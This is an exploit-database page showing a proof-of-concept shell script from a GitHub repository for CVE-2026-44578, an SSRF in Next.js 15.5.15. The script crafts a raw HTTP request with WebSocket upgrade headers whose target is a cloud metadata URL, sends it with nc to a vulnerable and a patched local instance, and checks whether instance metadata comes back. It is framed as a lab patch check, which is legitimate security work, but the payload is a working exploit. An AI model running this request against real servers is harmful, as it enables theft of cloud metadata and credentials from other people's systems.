Exploit database

GH-5f3ee70904d56df6464cf7bf40d689ca

dinosn/cve-2026-44578

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-44578

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
dinosn/cve-2026-44578Revision b0dac63cf161

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/test_vuln_vs_fixed.sh

Shell · 3,565 bytes
#!/usr/bin/env bash
# CVE-2026-44578 — Differential test: vulnerable vs patched
#
# Runs the same SSRF payload against:
#   - nextjs-vuln  (15.5.15) on port 3000  → should SUCCEED (SSRF confirmed)
#   - nextjs-fixed (15.5.16) on port 3001  → should FAIL (connection reset / 308)
#
# Usage: ./test_vuln_vs_fixed.sh

set -euo pipefail

RED='\033[0;91m'
GREEN='\033[0;92m'
YELLOW='\033[0;93m'
CYAN='\033[0;96m'
RESET='\033[0m'
BOLD='\033[1m'

SSRF_URL="http://172.28.0.100/latest/meta-data/"
MARKER="ami-id"

send_exploit() {
    local host=$1 port=$2
    local payload
    payload=$(printf "GET %s HTTP/1.1\r\nHost: %s:%s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" "$SSRF_URL" "$host" "$port")

    echo "$payload" | nc -w 5 "$host" "$port" 2>/dev/null || true
}

echo ""
echo -e "${CYAN}╔═══════════════════════════════════════════════════════════╗${RESET}"
echo -e "${CYAN}║${RESET}  CVE-2026-44578 — Differential Vulnerability Test        ${CYAN}║${RESET}"
echo -e "${CYAN}╚═══════════════════════════════════════════════════════════╝${RESET}"
echo ""

# Test 1: Vulnerable instance
echo -e "${YELLOW}[1/2]${RESET} Testing ${RED}VULNERABLE${RESET} instance (Next.js 15.5.15 @ localhost:3000)..."
RESP_VULN=$(send_exploit "127.0.0.1" "3000")

if echo "$RESP_VULN" | grep -q "$MARKER"; then
    echo -e "  ${RED}${BOLD}SSRF CONFIRMED${RESET} — metadata listing returned"
    echo -e "  Response preview:"
    echo "$RESP_VULN" | tail -n +2 | head -10 | sed 's/^/    /'
    VULN_RESULT="VULNERABLE"
else
    echo -e "  ${GREEN}No SSRF${RESET} — response does not contain metadata"
    echo "$RESP_VULN" | head -3 | sed 's/^/    /'
    VULN_RESULT="NOT_VULNERABLE"
fi

echo ""

# Test 2: Patched instance
echo -e "${YELLOW}[2/2]${RESET} Testing ${GREEN}PATCHED${RESET} instance (Next.js 15.5.16 @ localhost:3001)..."
RESP_FIXED=$(send_exploit "127.0.0.1" "3001")

if echo "$RESP_FIXED" | grep -q "$MARKER"; then
    echo -e "  ${RED}${BOLD}SSRF CONFIRMED${RESET} — UNEXPECTED! Patch may not be applied."
    FIXED_RESULT="VULNERABLE"
else
    echo -e "  ${GREEN}${BOLD}BLOCKED${RESET} — upgrade handler correctly rejected the request"
    if [ -n "$RESP_FIXED" ]; then
        echo "$RESP_FIXED" | head -3 | sed 's/^/    /'
    else
        echo "    (connection closed / no response)"
    fi
    FIXED_RESULT="PATCHED"
fi

echo ""
echo -e "${CYAN}═══════════════════════════════════════════════════════════${RESET}"
echo -e "  ${BOLD}Results:${RESET}"
echo -e "    Next.js 15.5.15 (vuln):  ${RED}${VULN_RESULT}${RESET}"
echo -e "    Next.js 15.5.16 (fixed): ${GREEN}${FIXED_RESULT}${RESET}"
echo -e "${CYAN}═══════════════════════════════════════════════════════════${RESET}"

if [ "$VULN_RESULT" = "VULNERABLE" ] && [ "$FIXED_RESULT" = "PATCHED" ]; then
    echo -e "\n  ${GREEN}${BOLD}Lab validated:${RESET} CVE-2026-44578 confirmed on 15.5.15, fixed on 15.5.16"
    exit 0
else
    echo -e "\n  ${YELLOW}Lab may need attention — check container status${RESET}"
    exit 1
fi